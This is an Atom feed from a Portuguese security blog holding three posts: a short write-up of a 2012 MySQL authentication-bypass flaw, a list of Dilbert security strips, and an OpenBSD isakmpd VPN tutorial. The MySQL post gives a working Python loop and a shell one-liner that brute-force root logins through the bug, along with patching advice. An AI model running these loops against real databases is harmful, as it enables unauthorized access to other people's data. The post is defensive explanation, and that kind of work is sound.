<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3337487558944364251</id><updated>2024-09-11T20:39:06.712-03:00</updated><category term="linux"/><category term="apache"/><category term="mysql"/><category term="openssl"/><category term="python"/><category term="ssl"/><category term="active directory"/><category term="autenticação"/><category term="browser"/><category term="centos"/><category term="chrome"/><category term="cotidiano"/><category term="defcon"/><category term="dilbert"/><category term="eventos"/><category term="exploit"/><category term="firefox"/><category term="google docs"/><category term="htaccess"/><category term="https"/><category term="isakmpd"/><category term="las vegas"/><category term="malware"/><category term="mod_proxy"/><category term="mod_ssl"/><category term="nessus"/><category term="openbsd"/><category term="patch management"/><category term="perl"/><category term="php"/><category term="plugins"/><category term="scott adams"/><category term="segurança"/><category term="shellscript"/><category term="splunk"/><category term="virus"/><category term="virustotal"/><category term="vpn"/><title type='text'>daniel santana - blog</title><subtitle type='html'>Artigos, comentários e notícias sobre segurança da informação...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-4224127980304526305</id><published>2012-06-12T08:40:00.001-03:00</published><updated>2012-06-12T08:48:32.235-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="shellscript"/><title type='text'>MySQL Authentication Bypass Exploit - WTF...</title><content type='html'>Foi divulgada recentemente uma falha no MySQL que permite a autenticação de qualquer usuário válido (ou seja, root em 99% das instalações) sem a necessidade de senha, utilizando apenas um simples loop exaustivo de conexões [1]. É quase inacreditável que ainda existam vulnerabilidades como essa em softwares tão usados como o MySQL.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Um exemplo em Python [2] :&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen(&quot;mysql -u root --password=senha&quot;, shell=True).wait()
&lt;/pre&gt;
Em shellscript, para ser mais rápido:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;while true; do mysql -u root --password=senha -h 127.0.0.1 2&amp;gt;/dev/null; done
&lt;/pre&gt;
Para se proteger desta lamentável falha, basta aplicar os patches já divulgados pelos fabricantes.&lt;br /&gt;
&lt;br /&gt;
Se você não pode fazer isso por N motivos, recomendo remover, pelo menos, o acesso externo dos superusuários ao seu banco (ou seja, remover qualquer registro da tabela mysql.user que contenha o campo Host como % com usuário root ou similares).&lt;br /&gt;
&lt;br /&gt;
Fontes:&lt;br /&gt;
[1]&amp;nbsp;&lt;a href=&quot;http://seclists.org/oss-sec/2012/q2/493&quot; target=&quot;_blank&quot;&gt;http://seclists.org/oss-sec/2012/q2/493&lt;/a&gt;&lt;br /&gt;
[2]&amp;nbsp;&lt;a href=&quot;https://www.secmaniac.com/blog/2012/06/11/massive-mysql-authentication-bypass-exploit/&quot; target=&quot;_blank&quot;&gt;https://www.secmaniac.com/blog/2012/06/11/massive-mysql-authentication-bypass-exploit/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/4224127980304526305/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/06/mysql-authentication-bypass-exploit-wtf.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/4224127980304526305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/4224127980304526305'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/06/mysql-authentication-bypass-exploit-wtf.html' title='MySQL Authentication Bypass Exploit - WTF...'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-6968838489092826209</id><published>2012-05-15T11:45:00.002-03:00</published><updated>2012-05-15T11:47:51.668-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cotidiano"/><category scheme="http://www.blogger.com/atom/ns#" term="dilbert"/><category scheme="http://www.blogger.com/atom/ns#" term="scott adams"/><category scheme="http://www.blogger.com/atom/ns#" term="segurança"/><title type='text'>Dilbert - Segurança da Informação</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Scott Adams sempre abordou, de forma inteligente e engraçada, a segurança da informação no ambiente corporativo através de suas tirinhas. E mesmo após muito tempo, é incrível como diversas delas continuam sendo perfeitamente relevantes. Eis aqui as melhores, na minha opinião:&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Espionagem&lt;/b&gt;:&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #0000ee; text-decoration: underline;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/800/1868/1868.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/800/1868/1868.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2008-02-11/&quot;&gt;http://dilbert.com/strips/comic/2008-02-11/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Equipe de segurança paranóica:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/700/1781/1781.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/700/1781/1781.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2007-11-16/&quot;&gt;http://dilbert.com/strips/comic/2007-11-16/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Phishing:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/0000/900/955/955.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/0000/900/955/955.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2005-08-12/&quot;&gt;http://dilbert.com/strips/comic/2005-08-12/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Softwares inseguros:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/100/1198/1198.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/100/1198/1198.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2006-04-12/&quot;&gt;http://dilbert.com/strips/comic/2006-04-12/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Recuperação de senhas:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/400/1478/1478.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/1000/400/1478/1478.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2007-01-17/&quot;&gt;http://dilbert.com/strips/comic/2007-01-17/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Privacidade:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/100000/00000/2000/700/102765/102765.strip.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/100000/00000/2000/700/102765/102765.strip.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://dilbert.com/strips/comic/2010-10-14/&quot;&gt;http://dilbert.com/strips/comic/2010-10-14/&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/6968838489092826209/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/05/dilbert-seguranca-da-informacao.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/6968838489092826209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/6968838489092826209'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/05/dilbert-seguranca-da-informacao.html' title='Dilbert - Segurança da Informação'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-1983053231837388870</id><published>2012-03-28T13:36:00.000-03:00</published><updated>2012-03-28T13:36:29.563-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="isakmpd"/><category scheme="http://www.blogger.com/atom/ns#" term="openbsd"/><category scheme="http://www.blogger.com/atom/ns#" term="openssl"/><category scheme="http://www.blogger.com/atom/ns#" term="vpn"/><title type='text'>VPN site-to-site utilizando OpenBSD e isakmpd</title><content type='html'>Devido a surpreendente quantidade de emails que continuo recebendo, mesmo depois de 6 anos, decidi resgatar esse post que fiz no &lt;a href=&quot;http://wayback.archive.org/web/20060715000000*/http://www.secforum.com.br&quot; target=&quot;_blank&quot;&gt;falecido SecForum&lt;/a&gt;&amp;nbsp;em 2006.&lt;br /&gt;
&lt;br /&gt;
&quot;Este manual tem o objetivo de demonstrar a criação de uma VPN simples para&amp;nbsp;interligar dois escritórios através da Internet com segurança. Serão utilizados&amp;nbsp;neste procedimento: OpenBSD, isakmpd, openssl e certpatch.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Serão necessárias duas máquinas, uma em cada site, com IP real e fixo na&amp;nbsp;Internet, pois estes serão utilizados internamente pelas chaves de autenticação.&amp;nbsp;Foi utilizada a versão 3.9 do OpenBSD neste manual, mas outras podem ser usadas.&lt;br /&gt;
&lt;br /&gt;
Considerações para este tutorial:&lt;br /&gt;
&lt;br /&gt;
IP real da máquina alpha: 10.0.100.10&lt;br /&gt;
Rede interna da sede alpha: 10.0.1.0/24&lt;br /&gt;
IP real da máquina beta: 10.0.100.11&lt;br /&gt;
Rede interna da sede beta: 10.0.2.0/24&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Criação da Certificate Authority (CA)&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Os próximos passos descrevem a criação de um Certificate Authority,&amp;nbsp;necessário para assinar as chaves geradas pelos gateways do tutorial.&amp;nbsp;A máquina utilizada para geração da CA necessita dos softwares openssl e certpatch.&lt;br /&gt;
&lt;br /&gt;
Gerando chave privada para o CA:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
openssl genrsa -out /etc/ssl/private/ca.key 1024&lt;/blockquote&gt;
&lt;br /&gt;
Após criação da chave privada, gere uma requisição para que o próprio CA assine:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
openssl req -new -key /etc/ssl/private/ca.key -out /etc/ssl/private/ca.csr&lt;/blockquote&gt;
&lt;br /&gt;
Os dados inseridos neste passo devem ser replicados na hora da geração das&amp;nbsp;chaves dos clientes, com excessão do Common Name. Preencha os campos Country&amp;nbsp;Name, State or Province Name, Locality Name, Organization Name e Organizational&amp;nbsp;Unit Name de acordo com o arquivo isakmpd.policy, descrito abaixo. Exemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
Country Name (2 letter code) [BR]: BR&lt;br /&gt;
State or Province Name (full name) [Sao Paulo]: Sao Paulo&lt;br /&gt;
Locality Name (eg, city) [Sao Paulo]: Sao Paulo&lt;br /&gt;
Organization Name (eg, company) [Teste Ltd]: Teste Ltd&lt;br /&gt;
Organizational Unit Name (eg, section) [VPN Auth]: VPN Auth&lt;br /&gt;
Common Name (eg, your name or your server&#39;s hostname) []: Teste CA&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#39;extra&#39; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;/blockquote&gt;
&lt;br /&gt;
Assine as chaves 10.0.100.10.csr e 10.0.100.11.csr, que serão geradas e enviadas pelos gateways:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
openssl x509 -req -days 365 -in 10.0.100.10.csr -CA /etc/ssl/ca.crt -CAkey&amp;nbsp;/etc/ssl/private/ca.key -CAcreateserial -out 10.0.100.10.crt&lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in 10.0.100.11.csr -CA /etc/ssl/ca.crt -CAkey&amp;nbsp;/etc/ssl/private/ca.key -CAcreateserial -out 10.0.100.11.crt&lt;br /&gt;
&lt;br /&gt;
certpatch -i 10.0.100.10 -k /etc/ssl/private/ca.key 10.0.100.10.crt&amp;nbsp;10.0.100.10.crt&lt;br /&gt;
&lt;br /&gt;
certpatch -i 10.0.100.11 -k /etc/ssl/private/ca.key 10.0.100.11.crt&amp;nbsp;10.0.100.11.crt&lt;/blockquote&gt;
&lt;br /&gt;
Após modificar as chaves com o certpatch, envie as três chaves (ca.crt,&amp;nbsp;10.0.100.10.crt e 10.0.100.11.crt) para os gateways OpenBSD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Gateways OpenBSD&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Primeiramente, iremos ativar o IP forwarding de pacotes nos servidores, já que&amp;nbsp;serão gateways entre redes. Executar:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
sysctl net.inet.ip.forwarding=1&lt;/blockquote&gt;
&lt;br /&gt;
O próximo passo é desnecessário para o OpenBSD, pois uma chave local é gerada na&amp;nbsp;instalação padrão. Caso queira criar uma nova chave, execute o seguinte comando:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
openssl genrsa -out /etc/isakmpd/private/local.key 1024&lt;/blockquote&gt;
&lt;br /&gt;
Gere uma chave de requisição para o CA assinar:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
openssl req -new -key /etc/isakmpd/private/local.key -out&amp;nbsp;/etc/isakmpd/private/10.0.100.10.csr&lt;/blockquote&gt;
&lt;br /&gt;
Os dados inseridos neste passo devem ser os mesmos utilizados pelo CA e&amp;nbsp;isakmpd.policy, com excessão do Common Name.&lt;br /&gt;
&lt;br /&gt;
Exemplo para o gateway 10.0.100.10:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
Country Name (2 letter code) [BR]: BR&lt;br /&gt;
State or Province Name (full name) [Sao Paulo]: Sao Paulo&lt;br /&gt;
Locality Name (eg, city) [Sao Paulo]: Sao Paulo&lt;br /&gt;
Organization Name (eg, company) [Teste Ltd]: Teste Ltd&lt;br /&gt;
Organizational Unit Name (eg, section) [VPN Auth]: VPN Auth&lt;br /&gt;
Common Name (eg, your name or your server&#39;s hostname) []: VPN-LADO-ALPHA&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#39;extra&#39; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;/blockquote&gt;
&lt;br /&gt;
Enviar o arquivo 10.0.100.10.csr para o CA assinar, procedimento explicado no&amp;nbsp;início deste tutorial. Posteriormente, você receberá três chaves do CA: ca.crt,&amp;nbsp;10.0.100.10.crt e 10.0.100.11.crt. Copie a primeira chave para o diretório&amp;nbsp;/etc/isakmpd/ca e as outras para o diretório /etc/isakmpd/certs.&lt;br /&gt;
&lt;br /&gt;
Repita o mesmo processo no outro gateway, modificando apenas o Common Name.&lt;br /&gt;
&lt;br /&gt;
Abaixo segue o arquivo /etc/isakmpd/isakmpd.policy utilizado pelos gateways:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
KeyNote-Version: 2&lt;br /&gt;
Authorizer: &quot;POLICY&quot;&lt;br /&gt;
Licensees: &quot;DN:/C=BR/ST=Sao Paulo/L=Sao Paulo/O=Teste Ltd/OU=VPN Auth/CN=TesteCA&quot;&lt;br /&gt;
Conditions: app_domain == &quot;IPsec policy&quot; &amp;amp;&amp;amp;&lt;br /&gt;
esp_present == &quot;yes&quot; &amp;amp;&amp;amp;&lt;br /&gt;
esp_enc_alg != &quot;null&quot; -&amp;gt; &quot;true&quot;;&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Arquivo /etc/isakmpd/isakmpd.conf do gateway 10.0.100.10:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
[General]&lt;br /&gt;
Retransmits= 5&lt;br /&gt;
Exchange-max-time= 120&lt;br /&gt;
Listen-on= 10.0.100.10&lt;br /&gt;
Check-interval= 1&lt;br /&gt;
&lt;br /&gt;
[X509-certificates]&lt;br /&gt;
CA-directory= /etc/isakmpd/ca/&lt;br /&gt;
Cert-directory= /etc/isakmpd/certs/&lt;br /&gt;
Private-key= /etc/isakmpd/private/local.key&lt;br /&gt;
&lt;br /&gt;
[Phase 1]&lt;br /&gt;
10.0.100.11= omega&lt;br /&gt;
&lt;br /&gt;
[Phase 2]&lt;br /&gt;
Connections= alpha-omega&lt;br /&gt;
&lt;br /&gt;
[omega]&lt;br /&gt;
Phase= 1&lt;br /&gt;
Transport= udp&lt;br /&gt;
local-address= 10.0.100.10&lt;br /&gt;
Address= 10.0.100.11&lt;br /&gt;
Configuration= Default-main-mode&lt;br /&gt;
&lt;br /&gt;
[alpha-omega]&lt;br /&gt;
Phase= 2&lt;br /&gt;
ISAKMP-peer= omega&lt;br /&gt;
Configuration= Default-quick-mode&lt;br /&gt;
Local-ID= Net-alpha&lt;br /&gt;
Remote-ID= Net-omega&lt;br /&gt;
&lt;br /&gt;
[Net-alpha]&lt;br /&gt;
ID-type= IPV4_ADDR_SUBNET&lt;br /&gt;
Network= 10.0.1.0&lt;br /&gt;
Netmask= 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
[Net-omega]&lt;br /&gt;
ID-type= IPV4_ADDR_SUBNET&lt;br /&gt;
Network= 10.0.2.0&lt;br /&gt;
Netmask= 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
[Default-main-mode]&lt;br /&gt;
DOI= IPSEC&lt;br /&gt;
EXCHANGE_TYPE= ID_PROT&lt;br /&gt;
Transforms= 3DES-SHA&lt;br /&gt;
&lt;br /&gt;
[Default-quick-mode]&lt;br /&gt;
DOI= IPSEC&lt;br /&gt;
EXCHANGE_TYPE= QUICK_MODE&lt;br /&gt;
Suites= QM-ESP-3DES-SHA-PFS-SUITE&lt;br /&gt;
&lt;br /&gt;
[3DES-SHA]&lt;br /&gt;
ENCRYPTION_ALGORITHM= 3DES_CBC&lt;br /&gt;
HASH_ALGORITHM= SHA&lt;br /&gt;
AUTHENTICATION_METHOD= RSA_SIG&lt;br /&gt;
GROUP_DESCRIPTION= MODP_1024&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Arquivo /etc/isakmpd/isakmpd.conf do gateway 10.0.100.11:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
[General]&lt;br /&gt;
Retransmits= 5&lt;br /&gt;
Exchange-max-time= 120&lt;br /&gt;
Listen-on= 10.0.100.11&lt;br /&gt;
Check-interval= 1&lt;br /&gt;
&lt;br /&gt;
[X509-certificates]&lt;br /&gt;
CA-directory= /etc/isakmpd/ca/&lt;br /&gt;
Cert-directory= /etc/isakmpd/certs/&lt;br /&gt;
Private-key= /etc/isakmpd/private/local.key&lt;br /&gt;
&lt;br /&gt;
[Phase 1]&lt;br /&gt;
10.0.100.10= alpha&lt;br /&gt;
&lt;br /&gt;
[Phase 2]&lt;br /&gt;
Connections= alpha-omega&lt;br /&gt;
&lt;br /&gt;
[alpha]&lt;br /&gt;
Phase= 1&lt;br /&gt;
Transport= udp&lt;br /&gt;
Local-address= 10.0.100.11&lt;br /&gt;
Address= 10.0.100.10&lt;br /&gt;
Configuration= Default-main-mode&lt;br /&gt;
&lt;br /&gt;
[alpha-omega]&lt;br /&gt;
Phase= 2&lt;br /&gt;
ISAKMP-peer= alpha&lt;br /&gt;
Configuration= Default-quick-mode&lt;br /&gt;
Local-ID= Net-omega&lt;br /&gt;
Remote-ID= Net-alpha&lt;br /&gt;
&lt;br /&gt;
[Net-omega]&lt;br /&gt;
ID-type= IPV4_ADDR_SUBNET&lt;br /&gt;
Network= 10.0.2.0&lt;br /&gt;
Netmask= 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
[Net-alpha]&lt;br /&gt;
ID-type= IPV4_ADDR_SUBNET&lt;br /&gt;
Network= 10.0.1.0&lt;br /&gt;
Netmask= 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
[Default-main-mode]&lt;br /&gt;
DOI= IPSEC&lt;br /&gt;
EXCHANGE_TYPE= ID_PROT&lt;br /&gt;
Transforms= 3DES-SHA&lt;br /&gt;
&lt;br /&gt;
[Default-quick-mode]&lt;br /&gt;
DOI= IPSEC&lt;br /&gt;
EXCHANGE_TYPE= QUICK_MODE&lt;br /&gt;
Suites= QM-ESP-3DES-SHA-PFS-SUITE&lt;br /&gt;
&lt;br /&gt;
[3DES-SHA]&lt;br /&gt;
ENCRYPTION_ALGORITHM= 3DES_CBC&lt;br /&gt;
HASH_ALGORITHM= SHA&lt;br /&gt;
AUTHENTICATION_METHOD= RSA_SIG&lt;br /&gt;
GROUP_DESCRIPTION= MODP_1024&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Após adicionar as chaves nos seus respectivos diretórios e configurar seus&amp;nbsp;arquivos corretamente, inicie o isakmpd. Você pode iniciar o daemon de diversos&amp;nbsp;modos para poder depurar caso aconteça algum erro. Os dois modos que utilizei:&lt;br /&gt;
&lt;br /&gt;
Monitorar o arquivo /var/log/messages para as mensagens que aparecerao sobre o&amp;nbsp;daemon:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
# isakmpd&lt;/blockquote&gt;
&lt;br /&gt;
Daemon em modo debug. Muita informação aparecerá na tela mas servirão para saber&amp;nbsp;se algo está com problema. DA significa o nivel de depuração, podendo ir até o&amp;nbsp;numero 99, onde todas as diretivas da negociaão das chaves e autenticação são&amp;nbsp;impressas na tela:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
# isakmdp -d -DA=10&lt;/blockquote&gt;
&lt;br /&gt;
Para testar o funcionamento a partir do gateway 10.0.100.10:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
ping -I 10.0.50.1 10.0.99.1&lt;br /&gt;
ssh -b 10.0.50.1 root@10.0.99.1&lt;/blockquote&gt;
&lt;br /&gt;
